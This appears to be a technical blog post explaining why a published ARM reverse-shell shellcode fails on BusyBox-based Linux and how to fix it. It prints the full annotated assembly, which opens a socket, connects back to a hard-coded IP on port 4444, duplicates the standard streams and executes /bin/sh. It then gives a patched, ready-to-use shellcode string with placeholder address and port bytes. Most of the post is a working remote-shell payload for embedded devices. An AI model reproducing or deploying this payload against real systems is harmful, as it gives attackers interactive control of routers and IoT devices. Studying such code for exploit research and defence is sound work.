Why Shellcode Doesn't Work on BusyBox

Why shellcode doesn’t work on busybox


Is bad shellcode?

I had a problem when was testing back-connect shellcode for ARM platform. I took shellcode from Azeria Lab and he didn’t work correctly. I had back-connect, but without any command execution. I was testing shellcode on Linux with BusyBox. Simply, /bin/sh is the link to /bin/busybox. So when I execute /bin/sh, instead starting /bin/busybox and determine which utily i run and execute it. Another interesting point: when i tried debugging shellcode - he was crashing with SIGSEGV after calling execve syscall.

How does BusyBox determine which command run?

For testing write small program:

int main(int argc, char **argv)
{
    printf("argv[0]: %s\n", argv[0]);
    return 0;
}

Then compile and run:

$ gcc test.c -o test
$ ./test
argv[0]: ./test

Try create link to test and run test from link:

$ ln -s test ./not_test
$ ./not_test
argv[0]: ./not_test

So, when we run program, command processor (bash or busybox) execute syscall execve and set argv[0] to the program name. Then, if we execute command in BusyBox ecosystem, BusyBox analysing argv[0] and execute correspond command.

How does shellcode execute /bin/sh?

Shellcode assembler listing from Azeria Lab:

.section .text
.global _start
_start:
 .ARM
 \x01\x30\x8f\xe2               add   r3, pc, #1       // switch to thumb mode
 \x13\xff\x2f\xe1               bx    r3

.THUMB
// socket(2, 1, 0)
 \x02\x20                       mov   r0, #2
 \x01\x21                       mov   r1, #1
 \x92\x1a                       sub   r2, r2

 \xc8\x27                       mov   r7, #200
 \x51\x37                       add   r7, #81         // r7 = 281 (socket)
 \x01\xdf                       svc   #1              // r0 = resultant sockfd
 \x04\x1c                       mov   r4, r0          // save sockfd in r4

// connect(r0, &sockaddr, 16)
 \x0a\xa1                       adr   r1, struct        // pointer to address, port
 \x4a\x70                       strb  r2, [r1, #1]    // write 0 for AF_INET
 \x10\x22                       mov   r2, #16
 \x02\x37                       add   r7, #2          // r7 = 283 (connect)
 \x01\xdf                       svc   #1

// dup2(sockfd, 0)
 \x3f\x27                       mov   r7, #63         // r7 = 63 (dup2)
 \x20\x1c                       mov   r0, r4          // r4 is the saved sockfd
 \x49\x1a                       sub   r1, r1          // r1 = 0 (stdin)
 \x01\xdf                       svc   #1
// dup2(sockfd, 1)
 \x20\x1c                       mov   r0, r4          // r4 is the saved sockfd
 \x01\x21                       mov   r1, #1          // r1 = 1 (stdout)
 \x01\xdf                       svc   #1
// dup2(sockfd, 2)
 \x20\x1c                       mov   r0, r4         // r4 is the saved sockfd
 \x02\x21                       mov   r1, #2         // r1 = 2 (stderr)
 \x01\xdf                       svc   #1

// execve("/bin/sh", 0, 0)
 \x04\xa0                       adr   r0, binsh
 \x52\x40                       sub   r2, r2
 \x49\x40                       sub   r1, r1
 \xc2\x71                       strb  r2, [r0, #7]
 \x0b\x27                       mov   r7, #11       // r7 = 11 (execve)
 \x01\xdf                       svc   #1
struct:
.ascii "\x02\xff"      // AF_INET 0xff will be NULLed
.ascii "\x11\x5c"      // port number 4444
.byte 192,168,139,130  // IP Address
binsh:
.ascii "/bin/shX"

Syscall execve calling without passing argv array, thus BusyBox can’t determine which program need to call. For correct shellcode working we should define array argv and pass them to the execve syscall.

Shellcode modification

I use online assembler/disassembler. Throw out first 8 bytes from shellcode (because there are 2 instructions used to switch to the thumb-mode) and decompile in “ARM (thumb)” mode.

0x0000:    \x02\x20    movs r0, #2
0x0002:    \x01\x21    movs r1, #1
0x0004:    \x92\x1a    subs r2, r2, r2
0x0006:    \xc8\x27    movs r7, #0xc8
0x0008:    \x51\x37    adds r7, #0x51
0x000a:    \x01\xdf    svc #1
0x000c:    \x04\x1c    adds r4, r0, #0
0x000e:    \x0a\xa1    adr r1, #0x28
0x0010:    \x4a\x70    strb r2, [r1, #1]
0x0012:    \x10\x22    movs r2, #0x10
0x0014:    \x02\x37    adds r7, #2
0x0016:    \x01\xdf    svc #1
0x0018:    \x3f\x27    movs r7, #0x3f
0x001a:    \x20\x1c    adds r0, r4, #0
0x001c:    \x49\x1a    subs r1, r1, r1
0x001e:    \x01\xdf    svc #1
0x0020:    \x20\x1c    adds r0, r4, #0
0x0022:    \x01\x21    movs r1, #1
0x0024:    \x01\xdf    svc #1
0x0026:    \x20\x1c    adds r0, r4, #0
0x0028:    \x02\x21    movs r1, #2
0x002a:    \x01\xdf    svc #1
0x002c:    \x04\xa0    adr r0, #0x10
0x002e:    \x52\x40    eors r2, r2
0x0030:    \x49\x40    eors r1, r1
0x0032:    \xc2\x71    strb r2, [r0, #7]
0x0034:    \x0b\x27    movs r7, #0xb
0x0036:    \x01\xdf    svc #1

Create array argv on the stack, bacause integrity of the stack after execve syscall doesn’t matter. Write next ARM-thumb assembly code after offset 0x30 in the shellcode:

// Write null to argv[0]
str r1, [sp, #4] 
// Write null to argv[1], end marker
str r1, [sp, #8]
// Write address of '/bin/bash' string to argv[0]
str r0, [sp, #4]
// Set r0 to the pointer of argv
add r1, sp, #4

With online assembler (see above) translate instruction to binary view.

But it doesn’t end. Since, we added instruction before data, so we must edit the arguments in 2 adr instructions (offsets 0x000e and 0x002c). Offset to data incarsed by 8 bytes, thus we should incement by 2 arg in binary view (2*4=8). Replace instructions from:

0x000e:    \x0a\xa1    adr r1, #0x28
0x002c:    \x04\xa0    adr r0, #0x10

to:

0x000e:    \x0c\xa1    adr r1, #0x30
0x002c:    \x06\xa0    adr r0, #0x18

The final shellcode

For easy use i replace port to \x42\x42 mark and IP-address to \x41\x41\x41\x41 mark:

sc = '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x52\x40\x49\x40\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x42\x42\x41\x41\x41\x41\x2f\x62\x69\x6e\x2f\x73\x68\x58\x00'